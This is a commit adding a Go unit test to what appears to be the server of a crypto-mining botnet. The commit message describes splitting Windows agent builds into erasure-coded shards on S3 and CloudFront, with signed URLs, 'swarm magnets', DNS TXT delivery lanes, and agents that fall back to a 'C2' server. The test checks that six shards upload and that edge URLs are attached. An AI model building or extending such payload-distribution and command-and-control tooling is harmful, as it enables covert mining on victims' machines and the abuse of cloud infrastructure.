Add S3 erasure swarm with CloudFront signed magnets.

Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.

server/internal/api/deploy_plan_s3_swarm_test.go

@@ -0,0 +1,42 @@
+package api
+
+import (
+	"context"
+	"crypto/rand"
+	"crypto/rsa"
+	"crypto/x509"
+	"encoding/pem"
+	"testing"
+
+	"crypto-miner-server/internal/erasure"
+)
+
+type s3Up struct{ n int }
+
+func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
+func (u *s3Up) HeadBucket(context.Context, string) error               { return nil }
+
+func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
+	priv, _ := rsa.GenerateKey(rand.Reader, 2048)
+	pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
+	u := &s3Up{}
+	h := testDeployPlanHandler(t)
+	store := erasure.NewShardStore()
+	h.BindErasure(func() bool { return true }, store)
+	h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
+		return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
+			S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
+			AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
+		})
+	}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
+	plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
+	if err != nil {
+		t.Fatalf("buildPlan: %v", err)
+	}
+	if plan.ErasurePlan == nil {
+		t.Fatalf("missing erasure plan n=%d", u.n)
+	}
+	if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
+		t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
+	}
+}